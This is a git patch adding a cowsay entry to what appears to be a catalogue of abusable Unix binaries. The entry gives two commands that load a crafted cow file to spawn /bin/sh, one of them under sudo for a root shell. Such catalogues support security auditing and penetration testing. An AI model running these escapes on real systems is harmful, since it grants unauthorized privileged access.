From d55607f8ccafa769771c4c19b9b8ddd7ea7b5627 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Thu, 12 Nov 2020 07:54:58 +0100 Subject: [PATCH] add data source for cowsay --- data/cowsay.json | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 data/cowsay.json diff --git a/data/cowsay.json b/data/cowsay.json new file mode 100644 index 0000000..fdc131c --- /dev/null +++ b/data/cowsay.json @@ -0,0 +1,15 @@ +{ + "description": "It allows to execute Perl code, other functions may apply.", + "functions": { + "shell": [ + { + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\ncowsay -f $TF x\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x\n" + } + ] + } +}